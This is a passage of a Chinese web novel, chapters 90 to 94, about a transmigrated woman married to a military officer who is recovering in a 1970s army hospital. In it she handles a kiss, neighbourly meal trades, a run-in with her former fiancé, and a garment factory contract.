“那可不行,昨晚我给赵大姐打电话,她知道你受伤了,今早特意杀了家里一只老母鸡给送过来,不做不就浪费人家心意了吗?” “那就让秦磊做吧,你在旁边教他。” “啊?这里面怎么还有我的事儿呢?” 秦磊正双手捂着脸,在手缝里偷看呢,冷不丁听到自己的名字,吓了一跳,但随即就点了点头。 “那也行,嫂子怎么说,我怎么做呗。那我先上个厕所去。” 却听周柒柒摆了摆手道,“我替你去吧,你待着就行。” 说着,她红着脸从沈淮川手中抽回手,跑进套间的卫生间。 这上厕所咋还有替的呢? 秦磊一脸茫然地看向沈淮川。 沈淮川神色自若,下巴微扬:“你去外头厕所,快点回来。” 秦磊:那咋办呢,服从命令呗。 周柒柒进了卫生间,并非去上厕所,而是第一时间打开水龙头,洗了把脸。 从刚才到现在,她的脸一直滚烫。 即便用冷水冲过,依旧发烫。 这可是她的初吻,两辈子的初吻,这会儿她的心里还在砰砰直跳,有点搞不清楚自己到底怎么了。 她手指轻轻摸了摸自己的唇。 刚才明明想移开的,但身体却怎么都不听话,好像不受管控了似的。 她很不习惯这种感觉,但奇怪的是,却也不怎么抗拒。 脑海里总是不自觉回想起刚才那一幕,唇边似乎还残留着那柔软的触感。 到底是看过了许多偶像剧,她摸着自己的心跳,忽然有一种奇怪的感觉。 她该不会是...心动了吧? 第90章 文工团招人 她这是...喜欢上沈淮川了? 这个念头一出,她立用力拍了拍自己的脸,摇着头自言自语道。 “不可能,这只是意外,只是意外而已……” 这个世界上哪有爱情啊,她才不相信爱情呢。 她也不会喜欢上任何一个男人。 她只不过是沈淮川的妻子而已,这些都是应该的。 往后还要生儿育女呢,这接吻不过只是第一步罢了,真犯不着多想。 夫妻之间,很正常。 “对,正常,很正常,一切都在计划内,对,没错,尽在掌握。” 她给自己做了很多心理建设,好不容易说服了自己,深吸了一口气,赶紧出了厕所。 秦磊早就回来了,两人一起去了灶房。 秦磊是农村小伙子,虽然在家没怎么做过饭,但是干起活来还是挺麻利的。 清炖老母鸡汤,也没有什么技术含量,切块焯水之后炖上就行了。 真正让周柒柒头疼的是,该做点什么菜。 正发愁时,隔壁那位同样在为自家男人做饭的年轻军嫂走了过来,面上带笑。 “妹子,待会儿鸡汤炖好了,能不能借我一碗?我家那口子今儿想吃臊子面,偏我走得急忘带肉票,没买着肉,这臊子只能做素的,寡淡得很,瞅见你们在炖鸡,想着借点汤添添味儿。” 妇人有些局促,在衣襟上蹭了蹭沾着面粉的手,从兜里掏出五毛钱。 “我不白借,给你五毛,你看成不?” 周柒柒绷着脸摇头,伸手将钱推回去。 “这事儿我瞧着不太成。” 那嫂子的脸“腾”地红了,举着钱的手悬在半空,嗫嚅着说。 “那……算了。” 见她这样,周柒柒憋不住笑了,忙扯了扯她的袖子。 “哎,别走呀!我是说给钱不成,但咱能换呀!你愿意和我换不?” 她本就为午饭发愁,这下可算有了主意。 用鸡汤和一个鸡腿,换些手擀面,煮碗鸡汤面,再烫点青菜,既省事又营养均衡,也用不着什么厨艺,秦磊肯定做得了。 那嫂子起初还琢磨着要换什么,一听是换面条,立马点头:“换!换!换!” 可紧接着又补了一句。 “不过我不要鸡腿,给我点鸡汤就够了!” 周柒柒忙不迭摇头。 “那可不行!我们仨人吃饭呢,你得多擀些面才够,这鸡腿必须拿着!” 妇人笑着摆手。 “嗨,一点面粉哪儿值一个鸡腿钱?再说了,我瞅着你这是老母鸡吧?瞧着肉质就好!一只鸡腿五毛钱都打不住了!” 周柒柒朝着她竖起了大拇指。 “识货!正宗的农家老母鸡!早上刚杀的!” 两个女人一来一往地聊着,周柒柒这才知道,妇人姓秦,叫秦素娥,和丈夫都在军区文工团工作。 秦素娥性格爽朗,三言两语便聊到了自家男人。 “这不最近团里要直招一批文艺兵,搭台子检查灯光时,他不小心摔下来,腿给伤了。” “文艺兵?是唱歌跳舞的那种吗?怎么个直招法?素娥,你能给我讲讲吗?” 周柒柒心里猛地一动,追问道。 秦素娥点头,“成啊,这有啥不能说的。” 她解释道,部队文工团招人向来多从地方歌舞团或艺术院校选拔,极少面向社会。 但这次团里新编了歌舞,缺几个十五六岁、形象合适的小姑娘,这才特地面向社会直招,只要有舞蹈基础,都可以过去报名。 宣传单已发得差不多,明天就开始选拔。 说完,秦素娥好奇地问。 “咋了,柒柒?你家有学舞蹈的亲戚?你把孩子资料给我,我帮你报名呗!” 周柒柒摇头,“不用不用,素娥,你帮我拿几张宣传单就行。” 这种小事儿,秦素娥自然不会拒绝,第二天一早,就把宣传单给周柒柒带过来了。 周柒柒仔细看了,见上面写着“选拔通过即等同参军入伍”,心里有了底,却仍多问了一句。 “素娥,你说这要是选上了,父母不愿意咋办?” 秦素娥咂舌。 “哪能有人不愿意?咱们这文工团可是铁饭碗,管吃管住,往后前程也好,嫁得也体面!” 这在这个年代,嫁得好对女人来说已经是极大的好处了。 听到这个,周柒柒就放心了。 早上周柒柒专门和小圆护士打听过了,王春燕现在还在三楼住院部住着呢。 虽然军区医院只接受军人和军属看病,但对于紧急情况送过来的病人,还是会负责到底的。 王春燕洗完胃,恢复得差不多了,但是得留院观察两三天。 她将宣传单当作防尘纸,仔细裹在衣服外,装进塑料袋,递给秦磊,让他帮着去送给王春燕。 还专门叮嘱道。 “你趁着她妈妈不在的时候给,也别提宣传单的事儿。” 她只是提供一个信息差,看不看得到,愿不愿意去,一切都由王春燕自己来决定。 毕竟她只是一个路人,没打算当谁的圣母,也没权力去决定别人的人生。 “行,我知道了。” 秦磊点了点头,听说了王春燕的遭遇之后,他也挺同情的。 周柒柒想着,他得等着人家妈妈出去才能送,这一去,估计得好一会儿才能回来。 却不想,不到半小时,秦磊便回来了。 秦磊撇了撇嘴,“她妈根本就没在。” 那大婶也就早上来了一趟,给小姑娘送了几个馒头就走了。 不过谭警官倒是在小姑娘病床前陪着。 “说是之前那个卖带针裙子的女人抓住了,找王春燕补充一下笔录。” 终于有点高兴的事儿了,周柒柒眼前一亮。 “人抓住了?叫什么名字?是不是冉红霞?” 秦磊点了点头。 “是,谭警官听说我是替你过去的,还特地让我谢谢你。” 冉红霞卖盗版衣服这事儿,王春燕不是唯一的受害者。 另外还有两个小姑娘也遭重了,其中一个针直接扎到眼睛里了,角膜损伤,还挺严重的,都去公安局报警了。 冉红霞不知道在哪儿提前得了信儿,躲起来了。 幸好有周柒柒提供的名字,老谭他们走访了一些熟人,拼凑出了画像,在城郊把人给找着了。 “抓住了就好。” 周柒柒松了一口气,又说道,“那我出去买点肉去。” 秦磊立马就蹦了起来,“那我去楼下取车。” 周柒柒摆了摆手,“不用不用,我自己走着去就行,反正也不远。” 自从昨天接吻之后,她待在病房就总感觉浑身刺挠,有点待不住。 说完她拎着包就走了。 今天不坐车,自然是从前门走,这刚一出门,就瞧见一个男人正张望着往这边看,一看到她,立马就瞪大了眼睛! 第91章 这人居然是周柒柒?? 站在街对面那个男人,白色的确良衬衫,黑色长裤,短发被发蜡抿得油光水滑的! 腿上装个弹簧就是秀才,这模样周柒柒记忆犹新。 不是许树,还能是谁??? 之前林瑶忽然出现,她就预想到许树也会出现。 估摸着之前在第一服装厂见到的那个身影,也是许树。 这一对渣男贱女,周柒柒是不想和她们再有任何一点儿瓜葛。 看到许树瞪大了眼睛瞧她,她心头一紧,赶忙低下头,用手中的包挡住脸庞,脚步匆匆地快步离开,生怕许树追上来。 然而,却没想到许树那边,根本就没认出来她,而是舔着嘴唇感慨道。 “这市军区医院里的姑娘,个个水灵灵的,身段也标致...” 话还没说完,他的耳朵就被人猛地揪住,耳边传来一声怒喝,“许树!” “瑶瑶,轻点!疼死我了!” 许树龇牙咧嘴地揉着发红的耳垂,脸上写满委屈。 林瑶叉着腰,眼神里满是不满。 “你不是说这事儿包在你身上吗?都三天了,人呢?还没见着?” 她崴了脚,本不想出门,可都第三天了,许树整天早出晚归,却一点消息都没有,她实在有些着急。 “没看见。” 许树挠了挠头,“我一直守着呢,从早上开门到晚上熄灯,就是没看着人...” “咋可能三天都不出来?难道不吃不喝不买东西了?” 林瑶满脸狐疑,根本不信。 许树瞪大双眼,急声道,“真没骗你,我一直盯着呢!” 看到林瑶的表情,他语气里带了些委屈,一双雾蒙蒙的眼睛看过去。 “瑶瑶,你这是不相信我?” 林瑶的心一下子就软了下来,赶紧跟许树解释道。 “没有,我就是有点着急,不是不信你,我问过我哥了,工作调动就这几天窗口期,再说不好,可就全泡汤了。” 许树信誓旦旦地保证。 “你放心瑶瑶,周柒柒从小跟在我屁股后面长大的,对我崇拜的不得了,一旦见着了,她肯定听我的!你别急嘛~” 说着还努了努嘴。 “你的事儿就是我的事儿,我也着急啊,你看,我这两天在这盯着,嘴角都起皮了...” 林瑶一看,许树嘴巴是有点干,嘴角都气泡了,心里瞬间就心疼了,立马从钱包里掏了几张一块钱出来。 “诺,这五块钱你拿着,买点汽水什么的喝喝,也别太辛苦了,反正人在里面住院,总有机会出来的...” 许树桃花眼弯成月牙,接过钱时顺势扣住她的手腕,嗓音低沉,“也就你心疼我。” 林瑶推了推他,红着脸嗔怪道,“不对你好还能对谁好?咱俩都...” 许树看周围没什么人,对着她的脸重重亲了一口,说道。 “行了,这两天秋老虎怪热的,你脚还没好,赶紧回宾馆歇着吧,这里有我呢!” 林瑶这下更害羞了,红着脸一瘸一拐地走了。 另一边,周柒柒先是去百货大楼给舟舟买了些画纸之类的东西,然后前往国营副食品商店买了点蔬菜,接着找到了正在柜台值班的李主任。 “您好,我是胡春晓同志介绍过来的,我叫周柒柒,她应该给您打过电话了吧。” 周柒柒礼貌地说道。 李主任一听,立马从柜台走出来,热情地伸出手和她握手:“你好,你好。” “打扰了,不知道我想买的东西咱们这有没有,票我都准备好了!” 沈淮川的伤是骨折的一种,需要多补充蛋白质,丁医生说最好多吃点牛肉之类的优质蛋白,周柒柒都记在小本本上了,准备换着给沈淮川做着吃。 这不,第一天做了排骨汤,第二天炖了老母鸡,下午还熬了鱼汤。 昨天晚上她想着要不做点牛肉,但这年代牛肉可不好买,就连小黑市都买不着,她想来想去,想到了在物资局工作的胡春晓,问她能不能帮忙联系一下。 都是军嫂,胡春晓当然没有不答应的道理,当时就去打电话联系国营副食店的李主任了。 这是稀缺物资,一开始李主任还推说没供应。 但胡春晓一提沈淮川的名字,李主任立马就换了个态度。 “有有有!沈团长那可是咱们这儿的战斗英雄,去年咱们这地震,还是他带人救的我们全家,这可是救命之恩,就算这牛肉再怎么稀缺,我都得帮他安排啊!” 当天晚上,她就帮着联系了,但是有点抱歉的是。 “咱们市这几天没指标,只能从隔壁市调过来冷藏的陈肉,杀了两天的,在后头冷库里放着呢。” 周柒柒一听,赶忙摆手。 “没事没事,冷藏的也行,麻烦李主任了。” 一开始听到是陈肉,周柒柒还以为是多陈呢,结果居然才杀了两天,这哪儿算什么陈肉啊。 上辈子周柒柒吃过的肉,都有可能是商周的了,还吃得津津有味呢。 李主任一听她不介意,立马招呼人给她拿去,然后上上下下打量起了周柒柒,拉起了家常。 “你就是沈团长媳妇啊?啥时候结的婚啊?” “刚结一个多月。” 周柒柒笑盈盈地回答道,李主任越看越喜欢,摇头暗自感慨道。 “怪不得他看不上我闺女呢,哪哪儿都比不上啊。” 说着又问道,“姑娘,你气质这么好,是首都来的大学生吧?” “不是不是,我是农村出来的,没念过多少书的。” 两人没说几句,肉就拿过来了,有好几块,周柒柒瞅着还是牛腱子呢,赶紧把钱和肉票掏了就走了。 看着她离开的背影,李主任不由和身边的柜员感慨道。 “这长得跟朵花似的,又这么有气质,居然是农村出来的,这她不说,谁能看得出来啊...” 旁边的柜员还没感慨呢,烟酒柜台那儿,一个穿着白衬衫的年轻男人已经不住地点头了。 他本来在买烟呢,这会儿烟都不要了,拔腿就往外跑。 三步并作两步,在周柒柒面前刹住脚,双手撑在她身前的电线杆上,胸膛剧烈起伏,喉结上下滚动,眼睛瞪得溜圆。 “柒柒,周柒柒,真的是你?” 他声音发颤,又补了一句,“我家的童养媳,周柒柒?” 他可是一个多月前才见过周柒柒的。 那个时候的周柒柒还跟他印象中一样,又瘦又干,跟豆芽菜似的,头发枯的像稻草,穿着一身打满补丁的旧布袄,整个人灰头土脸。 瞧着比她娘还显老气呢,他都不愿意多瞧第二眼。 可眼前这个南方人,穿着一身洋气又精致的裙子,一头油亮的黑发披在肩膀上,肌肤雪白粉嫩,五官明艳动人,看着像一颗饱满多汁的水蜜桃,叫人挪不开眼睛。 刚才在医院门口看了一眼,他就觉得是个大美女,把林瑶比得都像乡下土妞一样,还在暗自猜测这是哪个首长千金呢。 可是没想到,这人居然是周柒柒?? 第92章 冤家路窄,晦气透顶! 许树心里,那是又惊又喜,伸手就要去拦周柒柒。 周柒柒眼皮子一翻,那白眼珠儿险些翻到天灵盖上去。 刚才出门许树没追上来,她还暗自庆幸呢。 都想好了待会儿回去的时候,得悄摸地从后门回去,省得撞见糟心。 哪成想这还没回去呢,就在外头先撞上了。 这可真是冤家路窄,晦气透顶! 她往后退半步,尖着嗓子喊道,“你别碰我啊!小心我叫公安!” 人的样貌可以很快变化,但声音却是没那么容易变的。 那熟悉的嗓音钻进耳朵,许树那双雾蒙蒙的桃花眼立刻亮了起来,忙不迭往前凑。 “柒柒,真真是你!” 周柒柒手掌一横,生生将人挡在一臂开外。 “咱俩没那么熟,麻烦你连名带姓,叫我周柒柒。” 许树一听,立马垮起了脸。 “咱俩怎么能不熟呢?咱俩从小就青梅竹马,你是我的童养媳啊!” 周柒柒不耐烦地剜他一眼。 “打住啊!你说的那都是那一年陈芝麻,烂谷子的事儿了?亏你还有脸提!你忘了,是你送我去火车站随军嫁人的?” 这话戳中了许树的痛处,他自知理亏,摸了摸鼻尖,眼神乱转。 “你平安到部队咋也不给我点个电话,捎个信?我这心里头整日里七上八下的,担心了好久。” “呵,” 周柒柒盯着他那副假惺惺的模样,直犯恶心。 原主把这男人当救命稻草似的捧着,哪经得住被人一脚踹开? 早早地就产生了轻生的念头。 被许树送到火车站以后,压根没上车,深更半夜沿着铁轨走了十几里地,瞅个没人的河就跳了下去。 刚穿越过来的时候,周柒柒都还能感觉到她身上那股浓浓的绝望感。 一定程度上来说,许树就是杀死原身的凶手! 原身从小就和许树青梅竹马,原身的性格和想法,许树不可能不知道。 事情发生的时候,他不管不顾,这会儿,他居然好意思说自己担心了好久??? 她是不会给许树任何一点儿好脸色的,又翻了个白眼,讥讽道。 “你要真那么关心,怎么不知道给军区来个电话问一下?还等着我给你打电话?我都不知道你在哪儿工作,住哪儿,给你打哪门子的电话啊?” “也是...” 许树有点尴尬,讪讪地挠头,但是他脸皮厚啊。 就只是尴尬而已,不仅一点儿也不害臊,反而又往近前蹭了蹭,继续问下一个问题。 “那啥,沈淮川对你好不好?” “关你什么事?” 周柒柒懒得回复他,眼皮都没抬。 许树看她语气不善,却还以为她是过的不好,赶紧安慰道。 “他就是凶了点,不会疼人,比不得你许树哥我,但是再怎么说也是个军人,津贴不少的,看你又穿新衣裳,又买肉的,估计也舍得给你花,你和他,你们俩是不是已经...” 说这最后一句的时候,他有点怂,声音小了许多,还吞着口水往周柒柒的胸口瞄。 以前在村里的时候,周柒柒总穿的是他娘穿旧了的布袄,肥肥大大的,一点儿看不出来身段。 今儿可算发现了,她竟这么有料,前凸后翘的,比林瑶那身段强太多了,看得他嗓子眼直发紧。 周柒柒没听清后半句,却被他那油腻的眼神恶心得直犯呕,伸手从帆布包里掏出个小玻璃瓶,对着他晃了晃。 “少在这儿扯那些有的没的!说!到底啥事?再磨磨唧唧我可泼辣椒水了!” “别别别!别啊,好柒柒,我说,我说还不行吗?” 许树吓得一缩脖子,忙不迭捂住脸,只留双眼睛雾蒙蒙地朝外瞅,一边抛媚眼一边装可怜。 “那个,就是林瑶她...军区医院工作的事儿,你跟沈淮川说一声,让他打个招呼,让他通融通融...” 周柒柒一想就知道他要说这事儿,她直截了当地打断他道,挑眉问道。 “等等...林瑶?林瑶的事儿和你有什么关系?我可记得清楚,当初在医院你说压根不认识她!” “这个...这个...” 许树没想到,周柒柒会忽然问他这个问题,一时有点语塞,支支吾吾了半天,才回答道。 “这不是那天之后就认识了吗,我们俩都被退亲了,就...就...就自然而然地在一起了。” 周柒柒无语得又翻了个白眼,看来这许树还是没学聪明,这话估计是林瑶教她的,他说起来明显有点心虚,不比刚才那些顺口。 她厉声纠正道。 “什么叫被退亲??是你和林瑶要退亲的,你搞清楚!别胡说八道瞎造谣!要点脸不?” 她在这儿纠正,许树充耳不闻,厚着脸皮往前凑。 “柒柒,我知道你还在生你许树哥的气,气我不娶你,心里头接受不了,但是现在情况就是这么个情况,你就念在我们从前的情分上,帮帮忙,跟沈淮川说一声。” “从前?” 周柒柒冷笑一声,咬牙切齿地从牙缝里挤出话来。 “从前的账我都还没和你算呢!你倒还好意思提?” 她和许家哪儿有什么情分啊? 当时她才六七岁,许家把她家里的财产全都收了,但是又不好好待她,全家都把她当丫鬟使唤,吃不饱穿不暖的,许母更是动辄就对她又打又骂。 那时她那么小,还没灶台高,就得做全家人的饭,夏天冒着大太阳扛比她还重的柴火,冬天手更是要去冰窟窿里担水。 一想起原身从前遭的罪,周柒柒都觉着心口一阵阵的疼。 可这些事在许树眼里却完全不是那么回事,他还理所当然地说。 “这有啥不能提的?咱俩从小一起长大的,青梅竹马,你可是我的童养媳,你忘了,以前我对你多好?还捉知了给你吃呢!” 周柒柒冷冷地看着他。 “然后呢?捉完知了你从树上摔下来了,我被你娘好一顿打,屁股都被打开花了,还得给你做饭吃!” 许树脸上的笑僵住,“不说知了,还有那次我下河摸鱼……” 周柒柒懒得听他念叨从前,不耐烦地摆了摆手。 “行了,行了,那些陈芝麻烂谷子的事儿你就别再提了。” 那些事情太痛苦,她也不想再去一遍遍回忆了。 她深吸了一口气,抬头看向许树,语气干脆利落。 “有些话我之前已经和林瑶说过了,看来她没有传达给你,那我现在就再跟你说一次。” “甭管以前啥样,现在我和沈淮川已经结婚了,你和林瑶两个人,和我们两个已经没有任何关系了,不要再来找我们了,你们有多远就滚多远!不要碍我们的眼!” 说着,她眯起眼,语气跟萃了毒的冰刀似的,危险十足,让人直打哆嗦。 “我男人可是当兵的,不然要你们好看!” 说完,她就大步流星地离开,往军区医院的方向走了。 许树被她最后那眼神吓了一大跳,好半晌都没回过神来。 等反应过来的时候,周柒柒已经半只脚踏入军区医院的大门了。 他有心想追过去,门口站岗的战士端着步枪,刺刀在夕阳下泛着冷光,吓得他下意识往后缩了缩。 “柒柒,真的变得跟以前不一样了...” 他在原地喃喃自语。 难道是他伤得周柒柒太深了吗? 她是太爱他了,才会变成这样吧? 许树心里有点自责,想着下一次见面,再好好和周柒柒说一说。 而周柒柒压根就没想着再见许树。 刚才她对许树说的那些话,都是早就想好的。 从前的事儿太麻烦,她一点儿也不想沾,她只过好自己的小日子就成了。 踏进军区医院的大门,她就完全把许树抛到脑后去了。 秦磊看她回来,赶忙接过她手里的东西,关切地问道。 “嫂子,你眼睛怎么了?怎么有点抽抽?” “哦,没事儿。” 周柒柒不在意的摆了摆手,估计是刚才白眼翻得太多了,难免有点抽抽。 秦磊又说,刚才朱莹莹打电话找她。 “说是有大事儿呢!让嫂子你尽快回电话!” 第93章 杯子丢了 “莹莹,你怎么这么快就接电话了..” 听说有大事,周柒柒第一时间就去护士台拨了电话给军区的电话室。 军区的电话室在军区办公室,离着家属区有一小段路,想着等值班的工作人员过去叫莹莹过来,估计且得等个十分钟呢。 却没想到,听筒才搁回原位,电话就“叮铃铃”抖起来,那头传来朱莹莹温软的嗓音。 “说是有急事呢,我怕误了你的正经事,一直守在电话室呢。” 秦磊刚才说,她刚一出去,电话就打过来了,这一来一回,可就大半个小时了。 莹莹居然一直在电话室等着,周柒柒心里盈起一阵感动,攥着听筒的手紧了紧,忙问是什么事儿。 原来是第一服装厂的副厂长张国强打电话找周柒柒。 说是报给轻工业局的审批手续已经过了,同意周柒柒以技术指导的名义,和第一服装厂合作处理积压库存。 合同张国强已经草拟定好了,让周柒柒尽快确认一下,双方签订之后,就可以开始展开合作了。 这确实是大事儿,不过也不急在这儿一时半会,周柒柒看着时间不早了,先去做了午饭。 今天中午做的是番茄炖牛腱子,炖了满满一大锅,这么多肉,自家三个人吃不完,周柒柒顺便又给文工团的秦素娥两口子端了一碗。 秦素娥是个爽利人,没推辞,而是也给周柒柒切了一盘自家做的猪皮冻,另外还给盛了一壶她刚熬好的酸梅汤。 这就两样肉菜了,周柒柒又烫了点茼蒿,拌了点水萝卜,青的绿的红的摆了一桌子,看起来异常丰盛。 她把拌好的水萝卜往沈淮川面前推了推,指尖沾着点麻酱香油的香气,语气轻快。 “这个茼蒿和水萝卜,都是咱们家后院菜地里第一批收的,水灵着呢,你们尝尝。” 秦磊瞅着油绿的菜叶,竖起大拇指。 “今天早上我去接嫂子的时候看过了,嫂子那菜地打理得真好!” “是吧?” 周柒柒得意地晃了晃脑袋。 原身虽然出身在农村,但父母还在时,什么都没让她干过,宠她宠得跟千金小姐一样。 但父母去世,当了许家的童养媳后,被逼着干各种农活。 种菜、下地、做饭样样都干得得心应手的,只除了养鸡。 许母怕她偷鸡蛋吃,从来不让她接近鸡圈,所以没这项技能,其他全都是拔尖的。 沈淮川夹了片水萝卜,咬得“咔嚓”响,抬眼时眸色温柔,夸赞道,“确实鲜,比外头买的好吃多了。” 周柒柒得了夸,眼睛弯成月牙,用筷子夹了块炖得酥烂的牛腱子,递到他嘴边。 “还有这个,你尝尝怎么样?” 这个年代的西红柿都是地里种的,又大又红,酸酸甜甜的,番茄味儿浓得不得了。 和牛腱子一起炖了,牛腱子吸饱了茄汁,酥软中带着筋道,味儿好着呢。 沈淮川舌尖一抿,喉结轻轻滚动,反手也给周柒柒夹了一块喂到嘴边。 “嗯,好吃,你也吃。” 秦磊盯着两人交缠的筷子,只觉后槽牙发酸,忙不迭起身。 “这还有酸梅汤呢,我去把消毒柜里的玻璃杯拿回来。” 周柒柒讲究卫生,刚才做饭那会儿,看到军区医院食堂里有专门的消毒柜,就让秦磊把他们病房里的碗筷、玻璃杯啥的拿去消毒。 这会儿玻璃杯还没取回来呢。 周柒柒愣了一下,马上追问道。 “拿玻璃杯干嘛?咱这儿不是有搪瓷杯吗?” 她来之前,秦磊就买了两个搪瓷杯子,她来的那天又给自己买了一个,喝水够用了啊。 说到这个,秦磊挠了挠头,耳尖有些泛红。 “我那个,昨天去开水间洗的时候忘拿回来,弄丢了,对,弄丢了...” “是吗?” 周柒柒眉头微蹙,感觉有点奇怪,军区医院高级病房的开水间还能丢东西?不可能吧? 但瞧着小伙子局促的模样,到底没多问,只指了指沈淮川床头柜。 “丢了就丢了吧,先吃饭,吃完饭再去拿,你先用你们团长的吧,反正他不爱喝酸梅汤,刚才他说了他不喝。” 秦磊挠了挠头,懵懵地看向沈淮川。 “啊?团长,你不爱喝酸梅汤吗?你说不喝了?” 他记得,之前团长和首长们吃饭的时候,不喝酒,都是点的酸梅汤啊,酸酸甜甜的,团长好像还挺爱喝的。 周柒柒做的番茄炖牛肉香得不得了,沈淮川这会儿正饿呢,吃得很香,忽地听到秦磊叫自己,也有点懵了,差点咬着舌头,疑惑道。 “我说了我不喝...吗?” 话还没说完呢,就看到周柒柒锐利的目光射了过来,目光中带着嗔怪,还冒着火光。 媳妇刚才还好好的呢,这会儿怎么忽然就生上气了? 沈淮川实在捉摸不透,但却也没多想,而是以迅雷不及掩耳盗铃的速度,立刻改口道。 “对,我不爱喝,我说了我不喝。” 秦磊一听,团长都这么说了,自然点了点头。 “行,那我听嫂子的,待会儿再去拿。” 周柒柒说是这么说,但是实际上,自己也没喝酸梅汤,用自己的搪瓷缸倒了点温水,放在她和沈淮川之间,跟他一起喝。 喝了一大口水之后,周柒柒赶紧动筷子。 这还是她第一次吃上自己种上的菜呢。 不得不说,这无公害,纯天然的蔬菜吃起来就是好吃。 茼蒿不像后世那么粗壮和整齐,但是叶子嫩得能掐出水,吃着带点自然的清甜和微微的苦味。 水萝卜也是,个头小小的,表面疙疙瘩瘩,但是脆嫩多汁,咬在嘴里“簌簌”响,特别爽口。 作为一个吃货,只要吃开心了,就什么气都没有了。 吃完饭,她就和沈淮川说起了第一服装厂的事儿。 这是大事儿,作为一家人,她肯定是要和沈淮川支会一声的。 一开始听说周柒柒要和一个男人合作,沈淮川还是眉头紧皱,后来听说张国强副厂长已经三十五岁,孩子都有两个了,他眉头瞬间就舒展下来了。 听着周柒柒神采飞扬地讲述着自己对于服装设计的理解和未来的规划,嘴角更是勾了起来,满心满眼地看着她。 周柒柒兴致勃勃地说完,自然地坐在沈淮川的床沿,开口问道。 “你觉得怎么样?” 自从昨天两人接吻之后,周柒柒就没再距离他这么近了。 沈淮川嘴角勾了起来,低头沉思了半天,皱眉道。 “这是你自己的事业,我肯定不会反对,只是这合同规定,如果卖得不好,要赔三成的库存成本,对于这部分...” 第94章 惩罚一个吻 听他这么一说,周柒柒心下猛地一跳,指尖不自觉攥紧了裙角。 沈淮川是军人,平时基本都待在部队里,很少出门,平时穿的也大都是军装,对服装业了解有限,估计以为她很有可能要赔本。 这人......是在心疼钱吧? 她忙不迭抬眸解释。 “你放宽心,我最近做买卖多少赚了些,不会动用家里的存款的。” 就算是一时没那么多现金,多卖点衣裳,迟早也是能还得清的,她是有底气,才会这么做的。 她这话一出,沈淮川眼底的光骤然暗了下去,但还是强撑着坐好,认真解释道。 “我是想说,这部分你不用担心,大胆去做就好了,咱们家还有钱,无论多少钱,都能给你兜底。” “啊?还有?” 周柒柒愣愣地眨了眨眼。 沈淮川点了点头。 他当兵都七、八年了,日常又没有什么花销,津贴和各类奖金加起来,攒的钱自然不止两千块,只是存折没放在军属院而已。 “另外,爸妈之前把家里的钱也全都交给我了。” 毕竟沈淮川现在算是家里的独苗了,他们老两口身体不好,早早的就把家里的财产全都交给沈淮川了。 说起长辈,沈淮川顿了顿,声线放软,补充了一句。 “爸妈从年初以来身体就不好,一直都在秦皇岛那边修养,我们回头有时间我带你回去看看她们。” 周柒柒这才知道,沈淮川才不是什么心疼钱,而是让她不用心疼钱,就算亏了,还有他呢。 她心里酸酸的,软软的,又感动又愧疚,鬼使神差地伸出手,轻轻覆上沈淮川放在床沿的掌心。 “好,谢谢老公。” 她轻声道,指尖微微蜷起。 话音未落,手腕便被他反手扣住,整个人被拉得近在咫尺。 他的呼吸灼热如夏风,拂过她耳垂。 “这么简单一句谢谢就够了?” 从前天两人之间那个意外的吻之后,周柒柒就一直有意无意地躲着他,他又不是傻子,当然感觉的到。 但他自己伤着,又不能乱动。 今天好不容易她自己凑过来了,他当然不可能放过她了。 喉间震动声传来,周柒柒只觉脖颈发麻,仰头望着他紧蹙的眉峰,唇瓣微启。 “那...要怎么谢?” 沈淮川不语,指腹轻轻摩挲着她腕间的脉搏,忽而倾身,鼻尖几乎要触到她的鼻尖,这意思不言而喻。 周柒柒耳尖发烫,往后缩了缩,“别闹,石头还在呢……” “他不在。” 沈淮川不许她退,手臂轻轻一带,将她往怀里揽了几分。 周柒柒怕碰到他胸前的伤口,只得任由他圈住,睫毛慌乱地颤动。 看这副情景,周柒柒知道自己怎么都躲不掉了。 索性闭上眼睛,心一横,想要蜻蜓点水地应付一下。 却没想到,双唇相触的瞬间,沈淮川的手已经托住她的后腰,将她牢牢地按在怀里。 明明已经不是初吻了,但不知道为什么,周柒柒却比上一次还要紧张,不自觉地闭上了眼睛,睫毛轻颤。 本以为又要被吻到窒息,还好,没多久,沈淮川的唇就移开了,不过他托着周柒柒后腰的手还是没有放开。 周柒柒不敢牵动他的伤口,只能扑闪着睫毛轻声问道。 “可...可以了吧?” 看她怯生生的样子,沈淮川终究还是心软了,开口道。 “这个算是惩罚,谢谢的那个,先欠着。” 说着便是放开了她。 “啊,什么啊?怎么就惩罚了?” 周柒柒脑子迷迷糊糊的,指尖还残留着他掌心的温度。 但沈淮川完全不给她解释,而是一脸耍酷的表情,对着门外喊道。 “秦石头,还不滚进来!开车送你嫂子去服装厂!” 秦磊平时干活很积极,从来都是随叫随到的,这会儿再怎么说也应该洗完碗回来了。 可今天不知道怎么了,叫了一声,门口居然没人应。 沈淮川感觉有点没面子,又喊了两声,“石头?秦磊?” 可不管怎么叫,门口就是没人应,沈淮川绷不住脸,低头小声嘟囔道。 “这小子,干嘛去了?” 周柒柒脸还红着呢,一边往外逃,一边说道。 “我去看看去。” 今天吃饭的时候,那一壶酸梅汤,她和沈淮川都没喝,全丢给秦磊解决了,吃完饭孩子都还没喝完呢,估摸着去厕所了。 周柒柒说是去看,却也没真的去,而是去了病房旁边的阳台吹风。 风掀起她的发丝,她望着远处发呆,感觉脑子迷迷糊糊的—— 明明之前都是她拿捏沈淮川,撩拨得他耳尖通红。 怎么现在,好像反过来了,变成沈淮川拿捏她了? 不行不行,她得想办法重新掌握主动权!亲回去! 这么想着,她就雄赳赳气昂昂地冲回了病房。 沈淮川本来正在看书,看到她表情凝重,像要上战场一样冲过来,赶忙坐起来问道。 “怎么了?” 周柒柒面无表情地走到床边,冲着沈淮川俯身下去,然后—— 从床边拿走了自己的挎包,红着脸说道,“忘带包了。” 然后就逃也似的离开了现场。 二十分钟后,她已经出现在了第一服装厂门口。 秦磊开的是部队的车,周柒柒不想让太多人知道自己军嫂的身份,让他远远地停在十字路口,自己走进去了。 张国强副厂长就在大门口等着呢,远远地就迎上来了,掌心在裤腿上蹭了蹭,一边握手一边热情地招呼了起来。 “周同志,你可来了。” 在签合同这件事上,他可比周柒柒要急多了。 毕竟每天一睁开眼,就能想到那么多库存堆在仓库里,分分钟都在亏钱。 也就是轻工业局审批费了不少时间,不然他早就请周柒柒过来了。 到了办公室,他第一时间把合同递了过去,然后给周柒柒倒了杯茶。 这一回,是他专门去副食商店买的红茶,另外又切了几片苹果和梨进去。 这是他跟自家表妹邹倩倩学习的,买不起高档次的茶,那就多点花样,总不能怠慢了周柒柒这个贵客。 